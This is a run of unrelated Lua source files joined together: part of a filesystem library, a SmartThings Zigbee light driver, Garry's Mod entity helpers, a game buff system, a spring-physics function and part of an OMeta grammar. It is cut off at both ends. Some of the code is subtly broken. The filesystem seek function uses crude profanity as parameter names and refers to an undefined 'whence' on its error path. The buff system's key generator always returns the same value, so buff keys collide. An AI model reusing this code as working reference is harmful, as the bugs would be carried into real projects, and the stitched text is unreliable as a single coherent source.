(unicode char), 'b' (byte as number) or 'bs' (sequence of n bytes as number) expected, got " .. format .. ")") end else error("bad argument #1 (number or string expected, got " .. formatType .. ")") end end local function seek(self, pizda, cyka) if pizda == "set" then local result, reason = self.proxy.seek(self.stream, "set", cyka) if result then self.position = result self.buffer = "" end return result, reason elseif pizda == "cur" then local result, reason = self.proxy.seek(self.stream, "set", self.position + cyka) if result then self.position = result self.buffer = "" end return result, reason elseif pizda == "end" then local result, reason = self.proxy.seek(self.stream, "end", cyka) if result then self.position = result self.buffer = "" end return result, reason else error("bad argument #2 ('set', 'cur' or 'end' expected, got " .. tostring(whence) .. ")") end end local function write(self, ...) local data = { ... } for i = 1, #data do data[i] = tostring(data[i]) end data = table.concat(data) -- Data is small enough to fit buffer if #data < (BUFFER_SIZE - #self.buffer) then self.buffer = self.buffer .. data return true else -- Write current buffer content local success, reason = self.proxy.write(self.stream, self.buffer) if success then -- If data will not fit buffer, use iterative writing with data partitioning if #data > BUFFER_SIZE then for i = 1, #data, BUFFER_SIZE do success, reason = self.proxy.write(self.stream, data:sub(i, i + BUFFER_SIZE - 1)) if not success then break end end self.buffer = "" return success, reason -- Data will perfectly fit in empty buffer else self.buffer = data return true end else return false, reason end end end local function writeBytes(self, ...) return write(self, string.char(...)) end local function close(self) if self.write and #self.buffer > 0 then self.proxy.write(self.stream, self.buffer) end return self.proxy.close(self.stream) end function filesystem.open(path, mode) local proxy, proxyPath = filesystem.get(path) local result, reason = proxy.open(path, mode) if result then local handle = { proxy = proxy, stream = result, position = 0, buffer = "", close = close, seek = seek, } if mode == "r" or mode == "rb" then handle.readString = readString handle.readUnicodeChar = readUnicodeChar handle.readBytes = readBytes handle.readLine = readLine handle.lines = lines handle.readAll = readAll handle.read = read return handle elseif mode == "w" or mode == "wb" or mode == "a" or mode == "ab" then handle.write = write handle.writeBytes = writeBytes return handle else error("bad argument #2 ('r', 'rb', 'w', 'wb' or 'a' expected, got )" .. tostring(mode) .. ")") end else return nil, reason end end --------------------------------------- Rest proxy methods ----------------------------------------- function filesystem.exists(path) local proxy, proxyPath = filesystem.get(path) return proxy.exists(proxyPath) end function filesystem.size(path) local proxy, proxyPath = filesystem.get(path) return proxy.size(proxyPath) end function filesystem.isDirectory(path) local proxy, proxyPath = filesystem.get(path) return proxy.isDirectory(proxyPath) end function filesystem.makeDirectory(path) local proxy, proxyPath = filesystem.get(path) return proxy.makeDirectory(proxyPath) end function filesystem.lastModified(path) local proxy, proxyPath = filesystem.get(path) return proxy.lastModified(proxyPath) end function filesystem.remove(path) local proxy, proxyPath = filesystem.get(path) return proxy.remove(proxyPath) end function filesystem.rename(fromPath, toPath) local fromProxy, fromProxyPath = filesystem.get(fromPath) local toProxy, toProxyPath = filesystem.get(toPath) -- If it's the same filesystem component if fromProxy.address == toProxy.address then return fromProxy.rename(fromProxyPath, toProxyPath) else -- Copy files to destination filesystem.copy(fromPath, toPath) -- Remove original files filesystem.remove(fromPath) end end --------------------------------------- Advanced methods ----------------------------------------- function filesystem.copy(fromPath, toPath) local function copyRecursively(fromPath, toPath) if filesystem.isDirectory(fromPath) then filesystem.makeDirectory(toPath) local list = filesystem.list(fromPath) for i = 1, #list do copyRecursively(fromPath .. "/" .. list[i], toPath .. "/" .. list[i]) end else local fromHandle = filesystem.open(fromPath, "rb") if fromHandle then local toHandle = filesystem.open(toPath, "wb") if toHandle then while true do local chunk = readString(fromHandle, BUFFER_SIZE) if chunk then if not write(toHandle, chunk) then break end else toHandle:close() fromHandle:close() break end end end end end end copyRecursively(fromPath, toPath) end function filesystem.read(path) local handle, reason = filesystem.open(path, "rb") if handle then local data = readAll(handle) handle:close() return data end return false, reason end function filesystem.lines(path) local handle, reason = filesystem.open(path, "rb") if handle then return handle:lines() else error(reason) end end function filesystem.readLines(path) local handle, reason = filesystem.open(path, "rb") if handle then local lines, index, line = {}, 1 repeat line = readLine(handle) lines[index] = line index = index + 1 until not line handle:close() return lines end return false, reason end local function writeOrAppend(append, path, ...) filesystem.makeDirectory(filesystem.path(path)) local handle, reason = filesystem.open(path, append and "ab" or "wb") if handle then local result, reason = write(handle, ...) handle:close() return result, reason end return false, reason end function filesystem.write(path, ...) return writeOrAppend(false, path, ...) end function filesystem.append(path, ...) return writeOrAppend(true, path, ...) end function filesystem.writeTable(path, ...) return filesystem.write(path, require("Text").serialize(...)) end function filesystem.readTable(path) local result, reason = filesystem.read(path) if result then return require("Text").deserialize(result) end return result, reason end function filesystem.setProxy(proxy) BOOT_PROXY = proxy end function filesystem.getProxy() return BOOT_PROXY end return filesystem
-- Copyright 2021 SmartThings -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. -- ******* Created by Mariano Colmenarejo (sep 2021) ********* --- Smartthings library load --- local capabilities = require "st.capabilities" local ZigbeeDriver = require "st.zigbee" local defaults = require "st.zigbee.defaults" local zcl_clusters = require "st.zigbee.zcl.clusters" local LevelControlCluster = zcl_clusters.Level local OnOff = zcl_clusters.OnOff local utils = require "st.utils" local Groups = zcl_clusters.Groups -- driver local modules load local dimmer =require "dimmer" --- Custom Capabilities local random_On_Off = capabilities["legendabsolute60149.randomOnOff1"] local prog_On = capabilities["legendabsolute60149.progressiveOn1"] local prog_Off = capabilities["legendabsolute60149.progressiveOff1"] local random_Next_Step = capabilities["legendabsolute60149.randomNextStep"] local level_Steps = capabilities["legendabsolute60149.levelSteps"] local color_Temperature_Steps = capabilities["legendabsolute60149.colorTemperatureSteps"] local circadian_Light = capabilities["legendabsolute60149.circadian"] local color_Changing = capabilities["legendabsolute60149.colorChanging"] local color_Change_Timer = capabilities["legendabsolute60149.colorChangeTimer"] local color_Change_Mode = capabilities["legendabsolute60149.colorChangeMode"] local get_Groups = capabilities["legendabsolute60149.getGroups"] --- switch_level_handler local function switch_level_handler(self,device,command) --print("handler_Level >>>>>>>>>>>>>>",command.args.level) local on_Level = command.args.level if device.preferences.levelTransTime == 0 then device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(on_Level/100.0 * 254), 0xFFFF)) else device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(on_Level/100.0 * 254), (device.preferences.levelTransTime * 4))) end --print("<<<< emit Level >>>>") --device:emit_event(capabilities.switchLevel.level(math.floor((on_Level / 254.0 * 100) + 0.5))) end ---color_Temperature_handler local function color_Temperature_handler(self,device,command) --print("handler_Color Temp >>>>>>>>>>>>>>",command.args.temperature) local colorTemp = command.args.temperature local colorTemp_Mireds= math.floor(1000000 / colorTemp) --print("colorTemp Mired", colorTemp_Mireds) --device:send(OnOff.server.commands.On(device)) local last_Level = device:get_latest_state("main", capabilities.switchLevel.ID, capabilities.switchLevel.level.NAME) if last_Level < 1 then last_Level = device:get_field("last_Level") end device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(last_Level/100.0 * 254), (device.preferences.onTransTime * 4))) --device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(device:get_field("last_Level")/100.0 * 254), (device.preferences.onTransTime * 4))) device:send_to_component("main", zcl_clusters.ColorControl.server.commands.MoveToColorTemperature(device, colorTemp_Mireds,(device.preferences.tempTransTime * 4))) --device:emit_event(capabilities.colorTemperature.colorTemperature(math.floor(colorTemp))) end --- color_control_handler local function color_control_handler(self,device,command) local hue = math.floor((command.args.color.hue * 0xFE) / 100.0 + 0.5) local sat = math.floor((command.args.color.saturation * 0xFE) / 100.0 + 0.5) local last_Level = device:get_latest_state("main", capabilities.switchLevel.ID, capabilities.switchLevel.level.NAME) if last_Level < 1 then last_Level = device:get_field("last_Level") end device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(last_Level/100.0 * 254), (device.preferences.onTransTime * 4))) --device:send(zcl_clusters.Level.commands.MoveToLevelWithOnOff(device, math.floor(device:get_field("last_Level")/100.0 * 254), (device.preferences.onTransTime * 4))) device:send_to_component("main", zcl_clusters.ColorControl.server.commands.MoveToHueAndSaturation(device, hue, sat, (device.preferences.colorTransTime * 4))) end ---- On-Off Emit event local function on_off_attr_handler(self, device, value, zb_rx) --print("<<<<< Emit on_off >>>>>>") local attr = capabilities.switch.switch device:emit_event_for_endpoint(zb_rx.address_header.src_endpoint.value, value.value and attr.on() or attr.off()) end ---- Level emit event local function level_attr_handler(driver, device, value, zb_rx) --print("<<<< emit Level >>>>") device:emit_event(capabilities.switchLevel.level(math.floor((value.value / 254.0 * 100) + 0.5))) end ----- Groups_handler local function Groups_handler(driver, device, value, zb_rx) local zb_message = value local group_list = zb_message.body.zcl_body.group_list_list --Print table group_lists with function utils.stringify_table(group_list) print("group_list >>>>>>",utils.stringify_table(group_list)) local group_Names ="" for i, value in pairs(group_list) do print("Message >>>>>>>>>>>",group_list[i].value) group_Names = group_Names..tostring(group_list[i].value).."-" end --local text_Groups = "Groups Added: "..group_Names local text_Groups = group_Names if text_Groups == "" then text_Groups = "All Deleted" end print (text_Groups) device:emit_event(get_Groups.getGroups(text_Groups)) end ----- delete_all_groups_handler local function delete_all_groups_handler(self, device, command) device:send(Groups.server.commands.RemoveAllGroups(device, {})) device:send(Groups.server.commands.GetGroupMembership(device, {})) end ----- driver template configuration----- local zigbee_bulb_driver_template = { supported_capabilities = { capabilities.switch, capabilities.switchLevel, capabilities.colorControl, level_Steps, capabilities.colorTemperature, color_Temperature_Steps, random_On_Off, random_Next_Step, prog_On, prog_Off, circadian_Light, color_Changing, color_Change_Timer, color_Change_Mode, capabilities.refresh }, lifecycle_handlers = { init = dimmer.do_init, infoChanged = dimmer.do_Preferences, removed = dimmer.do_removed }, capability_handlers = { [capabilities.switch.ID] = { [capabilities.switch.commands.on.NAME] = dimmer.on_handler, [capabilities.switch.commands.off.NAME] = dimmer.off_handler }, [capabilities.switchLevel.ID] = { [capabilities.switchLevel.commands.setLevel.NAME] = switch_level_handler }, [capabilities.colorTemperature.ID] = { [capabilities.colorTemperature.commands.setColorTemperature.NAME] = color_Temperature_handler }, [capabilities.colorControl.ID] = { [capabilities.colorControl.commands.setColor.NAME] = color_control_handler }, [random_On_Off.ID] = { [random_On_Off.commands.setRandomOnOff.NAME] = dimmer.random_on_off_handler, }, [level_Steps.ID] = { [level_Steps.commands.setLevelSteps.ID] = dimmer.level_Steps_handler, }, [color_Temperature_Steps.ID] = { [color_Temperature_Steps.commands.setColorTempSteps.ID] = dimmer.color_Temperature_Steps_handler, }, [prog_On.ID] = { [prog_On.commands.setProgOn.NAME] = dimmer.prog_On_handler, }, [prog_Off.ID] = { [prog_Off.commands.setProgOff.NAME] = dimmer.prog_Off_handler, }, [circadian_Light.ID] = { [circadian_Light.commands.setCircadian.NAME] = dimmer.circadian_Light_handler, }, [color_Changing.ID] = { [color_Changing.commands.setColorChanging.NAME] = dimmer.color_Changing_handler, }, [color_Change_Timer.ID] = { [color_Change_Timer.commands.setColorChangeTimer.NAME] = dimmer.color_Change_Timer_handler, }, [color_Change_Mode.ID] = { [color_Change_Mode.commands.setColorChangeMode.NAME] = dimmer.color_Change_Mode_handler, }, [get_Groups.ID] = { [get_Groups.commands.setGetGroups.NAME] = delete_all_groups_handler, }, }, zigbee_handlers = { global = {}, cluster = { [zcl_clusters.Groups.ID] = { [zcl_clusters.Groups.commands.GetGroupMembershipResponse.ID] = Groups_handler } }, attr = { --[zcl_clusters.OnOff.ID] = { --[zcl_clusters.OnOff.attributes.OnOff.ID] = on_off_attr_handler --}, --[LevelControlCluster.ID] = { --[LevelControlCluster.attributes.CurrentLevel.ID] = level_attr_handler --} }, } } -- run driver defaults.register_for_default_handlers(zigbee_bulb_driver_template, zigbee_bulb_driver_template.supported_capabilities) local zigbee_bulb = ZigbeeDriver("zigbee_light_multifunctions", zigbee_bulb_driver_template) zigbee_bulb:run()
local ent_meta = FindMetaTable('Entity') --[[ We store the original function here so we can override it from the player metaTable, which derives from the entity metaTable. This way we don't have to check if the entity is player every time the function is called. --]] ent_meta.flSetModel = ent_meta.flSetModel or ent_meta.SetModel function ent_meta:stuck() local pos = self:GetPos() local trace = util.TraceHull({ start = pos, endpos = pos, filter = self, mins = self:OBBMins(), maxs = self:OBBMaxs() }) return trace.Entity and (trace.Entity:IsWorld() or trace.Entity:IsValid()) end function ent_meta:is_door() if IsValid(self) then local class = self:GetClass():lower() if class and class:find('door') or class == 'prop_dynamic' and self:GetModel():lower():find('door') or class == 'func_movelinear' then return true end end return false end do local idle_anims = { 'idle01', 'idle_subtle', 'batonidle1', 'idle_unarmed' } function ent_meta:idle_animation() for k, v in pairs(idle_anims) do local seq = self:LookupSequence(v) if seq > 0 then return seq end end return ACT_IDLE end end function ent_meta:bodygroups() local bodygroups = {} for i = 0, self:GetNumBodyGroups() do bodygroups[i] = self:GetBodygroup(i) end return bodygroups end function ent_meta:set_bodygroups(bodygroups) for k, v in pairs(bodygroups) do self:SetBodygroup(k, v) end end function ent_meta:facing(entity) local aim_vector = self:GetAimVector():Angle() local target_aim_vector = entity:GetAimVector():Angle() return math.abs(aim_vector.y - target_aim_vector.y) > 50 end function ent_meta:get_name() return self:IsPlayer() and (hook.run('GetPlayerName', self) or self:name()) or hook.run('GetEntityName', self) or tostring(self) or self:GetClass() end function ent_meta:get_hitgroup_from_pos(pos) for i = 0, self:GetHitBoxGroupCount() - 1 do for k = 0, self:GetHitBoxCount(i) - 1 do local mins, maxs = self:GetHitBoxBounds(k, i) local bone_pos = self:GetBonePosition(self:GetHitBoxBone(k, i)) mins = bone_pos + mins maxs = bone_pos + maxs if pos:WithinAABox(mins, maxs) then return k end end end return HITGROUP_GENERIC end
--- buff系统 ---buff是一种状态,可被创建和删除 ---当buff被删除时,将会 hbuff = { UNIQUE_KEY = 0, DEFAULT_CONST_BUFF = '_h_lua', } ---@private hbuff.uniqueKey = function() return hbuff.UNIQUE_KEY + 1 end --- 创建一个buff概念物 --- 成功创建时会返回一个key,用于删除buff --- 失败会返回nil ---@param during number > 0 ---@param handleUnit userdata ---@param groupKey string|'global' buff集合key,用于自主分类和搜索 ---@param purpose function 目的期望的操作 ---@param rollback function 回到原来状态的操作 ---@return string|nil hbuff.create = function(during, handleUnit, groupKey, purpose, rollback) if (handleUnit == nil or purpose == nil or rollback == nil) then return end during = during or 0 if (during <= 0) then during = -1 end if (his.deleted(handleUnit)) then return end if (false == hcache.exist(handleUnit)) then return end groupKey = groupKey or hbuff.DEFAULT_CONST_BUFF purpose() local buffHandle = hcache.get(handleUnit, CONST_CACHE.BUFF) if (buffHandle == nil) then buffHandle = {} hcache.set(handleUnit, CONST_CACHE.BUFF, buffHandle) end if (buffHandle[groupKey] == nil) then buffHandle[groupKey] = {} end if (buffHandle[groupKey]._idx == nil) then buffHandle[groupKey]._idx = {} end local uk = hbuff.uniqueKey() buffHandle[groupKey][uk] = { purpose = purpose, rollback = rollback } table.insert(buffHandle[groupKey]._idx, uk) if (during > 0) then htime.setTimeout(during, function(curTimer) htime.delTimer(curTimer) if (his.deleted(handleUnit)) then return end if (buffHandle ~= nil and buffHandle[groupKey] ~= nil) then if (buffHandle[groupKey]._idx ~= nil) then table.delete(buffHandle[groupKey]._idx, uk) end if (buffHandle[groupKey][uk] ~= nil) then rollback() buffHandle[groupKey][uk] = nil end end end) end return string.implode('|', { groupKey, uk }) end --- 使一个buff强制执行一次purpose --- buff被删除时会回到原来的状态 ---@param handleUnit userdata ---@param buffKey string 由 groupKey|uniqueKey 组成,如果没有uniqueKey则清空所有groupKey下的buff hbuff.purpose = function(handleUnit, buffKey) if (handleUnit == nil or buffKey == nil) then return end if (his.deleted(handleUnit)) then return end if (false == hcache.exist(handleUnit)) then return end local ebk = string.explode('|', buffKey) local groupKey = ebk[1] or nil local uk = math.floor(ebk[2] or 0) if (groupKey == nil or uk == 0) then return end local buffHandle = hcache.get(handleUnit, CONST_CACHE.BUFF, {}) if (buffHandle[groupKey] ~= nil and buffHandle[groupKey][uk] ~= nil) then buffHandle[groupKey][uk].purpose() end end --- 删除一个buff --- buff被删除时会回到原来的状态 ---@param handleUnit userdata ---@param buffKey string 由 groupKey|uniqueKey 组成,如果没有uniqueKey则清空所有groupKey下的buff hbuff.delete = function(handleUnit, buffKey) if (handleUnit == nil or buffKey == nil) then return end if (his.deleted(handleUnit)) then return end if (false == hcache.exist(handleUnit)) then return end local ebk = string.explode('|', buffKey) local groupKey = ebk[1] or nil local uk = ebk[2] or nil if (groupKey == nil) then return end local buffHandle = hcache.get(handleUnit, CONST_CACHE.BUFF, {}) if (buffHandle._idx ~= nil) then if (uk == nil) then -- 删除group下所有buff for _, _uk in ipairs(buffHandle._idx) do if (buffHandle[groupKey][_uk] ~= nil) then buffHandle[groupKey][_uk].rollback() --rollback end end buffHandle[groupKey] = nil else -- 删除uk指向buff uk = math.floor(uk) if (buffHandle[groupKey][uk] ~= nil) then buffHandle[groupKey][uk].rollback() --rollback buffHandle[groupKey][uk] = nil table.delete(buffHandle[groupKey]._idx, uk) end end end end
--!strict --[[ Returns a 2x2 matrix of coefficients for a given damping ratio, speed and time step. These coefficients can then be multiplied with the position and velocity of an existing spring to find the new position and velocity values. Specifically, this function returns four numbers - posPos, posVel, velPos, and velVel, in that order - which can be applied to position and velocity like so: local newPosition = oldPosition * posPos + oldVelocity * posVel local newVelocity = oldPosition * velPos + oldVelocity * velVel If a large number of springs with identical damping ratios and speeds are being updated with the same time step, then these coefficients can be used to update all of them at once. This function assumes the damping ratio, speed and time step are all >= 0, with the expectation that these values have been verified beforehand. ]] local function springCoefficients(timeStep: number, damping: number, speed: number): (number, number, number, number) -- if time step or speed is 0, then the spring won't move, so an identity -- matrix can be returned early if timeStep == 0 or speed == 0 then return 1, 0, 0, 1 end if damping > 1 then -- overdamped spring -- solutions to the characteristic equation -- z = -ζω ± Sqrt[ζ^2 - 1] ω local zRoot = math.sqrt(damping^2 - 1) local z1 = (-zRoot - damping)*speed local z2 = (zRoot - damping)*speed -- x[t] -> x0(e^(t z2) z1 - e^(t z1) z2)/(z1 - z2) -- + v0(e^(t z1) - e^(t z2))/(z1 - z2) local zDivide = 1/(z1 - z2) local z1Exp = math.exp(timeStep * z1) local z2Exp = math.exp(timeStep * z2) local posPosCoef = (z2Exp * z1 - z1Exp * z2) * zDivide local posVelCoef = (z1Exp - z2Exp) * zDivide -- v[t] -> x0(z1 z2(-e^(t z1) + e^(t z2)))/(z1 - z2) -- + v0(z1 e^(t z1) - z2 e^(t z2))/(z1 - z2) local velPosCoef = z1*z2 * (-z1Exp + z2Exp) * zDivide local velVelCoef = (z1*z1Exp - z2*z2Exp) * zDivide return posPosCoef, posVelCoef, velPosCoef, velVelCoef elseif damping == 1 then -- critically damped spring -- x[t] -> x0(e^-tω)(1+tω) + v0(e^-tω)t local timeStepSpeed = timeStep * speed local negSpeedExp = math.exp(-timeStepSpeed) local posPosCoef = negSpeedExp * (1 + timeStepSpeed) local posVelCoef = negSpeedExp * timeStep -- v[t] -> x0(t ω^2)(-e^-tω) + v0(1 - tω)(e^-tω) local velPosCoef = -negSpeedExp * (timeStep * speed*speed) local velVelCoef = negSpeedExp * (1 - timeStepSpeed) return posPosCoef, posVelCoef, velPosCoef, velVelCoef else -- underdamped spring -- factored out of the solutions to the characteristic equation, to make -- the math cleaner local alpha = math.sqrt(1 - damping^2) * speed -- x[t] -> x0(e^-tζω)(α Cos[tα] + ζω Sin[tα])/α -- + v0(e^-tζω)(Sin[tα])/α local negDampSpeedExp = math.exp(-timeStep * damping * speed) local sinAlpha = math.sin(timeStep*alpha) local alphaCosAlpha = alpha * math.cos(timeStep*alpha) local dampSpeedSinAlpha = damping*speed*sinAlpha local invAlpha = 1 / alpha local posPosCoef = negDampSpeedExp * (alphaCosAlpha + dampSpeedSinAlpha) * invAlpha local posVelCoef = negDampSpeedExp * sinAlpha * invAlpha -- v[t] -> x0(-e^-tζω)(α^2 + ζ^2 ω^2)(Sin[tα])/α -- + v0(e^-tζω)(α Cos[tα] - ζω Sin[tα])/α local velPosCoef = -negDampSpeedExp * (alpha*alpha + damping*damping * speed*speed) * sinAlpha * invAlpha local velVelCoef = negDampSpeedExp * (alphaCosAlpha - dampSpeedSinAlpha) * invAlpha return posPosCoef, posVelCoef, velPosCoef, velVelCoef end end return springCoefficients
local tostring, tonumber, select, type, getmetatable, setmetatable, rawget = tostring, tonumber, select, type, getmetatable, setmetatable, rawget local Types = require('types') local Any, Array = Types.Any, Types.Array local utils = require('utils') local asc = require('abstractsyntax_commons') local Literal, NilLiteral, BooleanLiteral, NumberLiteral, IntegerLiteral, RealLiteral, StringLiteral, Name, Keyword, Special, Node, Statement, Expression, Control, Iterative, Invocation = asc.Literal, asc.NilLiteral, asc.BooleanLiteral, asc.NumberLiteral, asc.IntegerLiteral, asc.RealLiteral, asc.StringLiteral, asc.Name, asc.Keyword, asc.Special, asc.Node, asc.Statement, asc.Expression, asc.Control, asc.Iterative, asc.Invocation local las = require('lua_abstractsyntax') local Get, Set, Group, Block, Chunk, Do, While, Repeat, If, ElseIf, For, ForIn, Function, MethodStatement, FunctionStatement, FunctionExpression, Return, Break, LastStatement, Call, Send, BinaryOperation, UnaryOperation, GetProperty, VariableArguments, TableConstructor, SetProperty, Goto, Label = las.Get, las.Set, las.Group, las.Block, las.Chunk, las.Do, las.While, las.Repeat, las.If, las.ElseIf, las.For, las.ForIn, las.Function, las.MethodStatement, las.FunctionStatement, las.FunctionExpression, las.Return, las.Break, las.LastStatement, las.Call, las.Send, las.BinaryOperation, las.UnaryOperation, las.GetProperty, las.VariableArguments, las.TableConstructor, las.SetProperty, las.lua52.Goto, las.lua52.Label local omas = require('ometa_abstractsyntax') local Binding, Application, Choice, Sequence, Lookahead, Exactly, Token, Subsequence, NotPredicate, AndPredicate, Optional, Many, Consumed, Loop, Anything, HostNode, HostPredicate, HostStatement, HostExpression, RuleApplication, Object, Property, Rule, RuleExpression, RuleStatement, Grammar, GrammarExpression, GrammarStatement = omas.Binding, omas.Application, omas.Choice, omas.Sequence, omas.Lookahead, omas.Exactly, omas.Token, omas.Subsequence, omas.NotPredicate, omas.AndPredicate, omas.Optional, omas.Many, omas.Consumed, omas.Loop, omas.Anything, omas.HostNode, omas.HostPredicate, omas.HostStatement, omas.HostExpression, omas.RuleApplication, omas.Object, omas.Property, omas.Rule, omas.RuleExpression, omas.RuleStatement, omas.Grammar, omas.GrammarExpression, omas.GrammarStatement local OMeta = require('ometa') local OMetaGrammar = require('ometa_grammar') local OMetaInLua, OMetaInLuaExt local LuaInOMeta = OMeta.Grammar({_grammarName = 'LuaInOMeta', special = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaGrammar.special) end, function (input) return input:applyWithArgs(input.grammar.subsequence, [[[?]]) end, function (input) return input:applyWithArgs(input.grammar.subsequence, [[[!]]) end, function (input) return input:applyWithArgs(input.grammar.exactly, '[') end, function (input) return input:applyWithArgs(input.grammar.exactly, ']') end) end, arity = 0, name = 'special'}), keyword = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:applyWithArgs(input.grammar.exactly, 'end') end) end, arity = 0, name = 'keyword'}), node = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaGrammar.node) end, function (input) local exp, __pass__ if not (input:applyWithArgs(input.grammar.token, "[?")) then return false end __pass__, exp = input:applyForeign(OMetaInLuaExt, OMetaInLuaExt.exp) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, "]")) then return false end return true, HostPredicate({value = exp}) end, function (input) local exp, __pass__ if not (input:applyWithArgs(input.grammar.token, "[!")) then return false end __pass__, exp = input:applyWithArgs(input.grammar.many, function (input) return input:applyForeign(OMetaInLuaExt, OMetaInLuaExt.stat) end) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, "]")) then return false end return true, HostStatement({value = exp}) end) end, arity = 0, name = 'node'}), primexp = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaGrammar.primexp) end, function (input) local exp, __pass__ if not (input:applyWithArgs(input.grammar.token, "[")) then return false end __pass__, exp = input:applyForeign(OMetaInLuaExt, OMetaInLuaExt.exp) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, "]")) then return false end return true, HostExpression({value = exp}) end) end, arity = 0, name = 'primexp'}), prop = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaGrammar.prop) end, function (input) local __pass__, exp, index if not (input:applyWithArgs(input.grammar.token, "[")) then return false end __pass__, index = input:applyForeign(OMetaInLuaExt, OMetaInLuaExt.exp) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, "]")) then return false end if not (input:applyWithArgs(input.grammar.token, "=")) then return false end __pass__, exp = input:apply(input.grammar.choiceDef) if not (__pass__) then return false end return true, Property({expression = exp, index = index}) end) end, arity = 0, name = 'prop'})}) LuaInOMeta:merge(OMetaGrammar) local LuaGrammar = require('lua52_grammar') local OMetaInLuaMixed local function exp(...) return OMetaInLuaMixed.exp:matchMixed(...) end OMetaInLua = OMeta.Grammar({_grammarName = 'OMetaInLua', keyword = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(LuaGrammar.keyword) end, function (input) return input:applyWithArgs(input.grammar.exactly, 'ometa') end, function (input) return input:applyWithArgs(input.grammar.exactly, 'merges') end, function (input) return input:applyWithArgs(input.grammar.exactly, 'rule') end) end, arity = 0, name = 'keyword'}), stat = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) local body, __pass__, ms, n if not (input:applyWithArgs(input.grammar.token, "local")) then return false end if not (input:applyWithArgs(input.grammar.token, "ometa")) then return false end __pass__, n = input:apply(input.grammar.name) if not (__pass__) then return false end __pass__, ms = input:applyWithArgs(input.grammar.optional, function (input) return input:applyWithArgs(input.grammar.choice, function (input) if not (input:applyWithArgs(input.grammar.token, "merges")) then return false end return input:applyWithArgs(input.grammar.list, input.grammar.exp, function (input) return input:applyWithArgs(input.grammar.token, ",") end, 1) end) end) if not (__pass__) then return false end __pass__, body = input:apply(input.grammar.grammarBody) if not (__pass__) then return false end return true, GrammarStatement({isLocal = true, name = Array({n}), merged = ms or Array({}), rules = body}) end, function (input) local body, ns, ms, __pass__ if not (input:applyWithArgs(input.grammar.token, "ometa")) then return false end __pass__, ns = input:applyWithArgs(input.grammar.list, input.grammar.name, function (input) return input:applyWithArgs(input.grammar.token, ".") end, 1) if not (__pass__) then return false end __pass__, ms = input:applyWithArgs(input.grammar.optional, function (input) return input:applyWithArgs(input.grammar.choice, function (input) if not (input:applyWithArgs(input.grammar.token, "merges")) then return false end return input:applyWithArgs(input.grammar.list, input.grammar.exp, function (input) return input:applyWithArgs(input.grammar.token, ",") end, 1) end) end) if not (__pass__) then return false end __pass__, body = input:apply(input.grammar.grammarBody) if not (__pass__) then return false end return true, GrammarStatement({isLocal = false, name = ns, merged = ms or Array({}), rules = body}) end, function (input) local body, ns, __pass__, n if not (input:applyWithArgs(input.grammar.token, "rule")) then return false end __pass__, ns = input:applyWithArgs(input.grammar.list, input.grammar.name, function (input) return input:applyWithArgs(input.grammar.token, ".") end, 1) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, ":")) then return false end __pass__, n = input:apply(input.grammar.name) if not (__pass__) then return false end __pass__, body = input:apply(input.grammar.ruleBody) if not (__pass__) then return false end return true, RuleStatement({namespace = ns, name = n, arguments = body[1][1], variableArguments = body[1][2], block = body[2]}) end, function (input) return input:apply(LuaGrammar.stat) end) end, arity = 0, name = 'stat'}), primexp = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(LuaGrammar.primexp) end, function (input) local literal, __pass__ if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then return false end __pass__, literal = input:apply(input.grammar.strlitB) if not (__pass__) then return false end return true, exp([[string.interpolate(]], literal, [[)]]) end) end, arity = 0, name = 'primexp'}), args = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(LuaGrammar.args) end, function (input) if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then return false end return input:apply(input.grammar.strlitB) end) end, arity = 0, name = 'args'}), ruleBody = OMeta.Rule({behavior = function (input) local params, __pass__, body return input:applyWithArgs(input.grammar.choice, function (input) if not (input:applyWithArgs(input.grammar.token, "(")) then return false end __pass__, params = input:apply(input.grammar.parlist) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, ")")) then return false end __pass__, body = input:applyForeign(LuaInOMeta, LuaInOMeta.choiceDef) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, "end")) then return false end return true, {params, body} end) end, arity = 0, name = 'ruleBody'}), grammarBody = OMeta.Rule({behavior = function (input) local __result__, __pass__ return input:applyWithArgs(input.grammar.choice, function (input) if not (input:applyWithArgs(input.grammar.token, "{")) then return false end __pass__, __result__ = input:applyWithArgs(input.grammar.list, input.grammar.innerRuleBody, function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:applyWithArgs(input.grammar.token, ",") end, function (input) return input:applyWithArgs(input.grammar.token, ";") end) end) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.optional, function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:applyWithArgs(input.grammar.token, ",") end, function (input) return input:applyWithArgs(input.grammar.token, ";") end) end)) then return false end if not 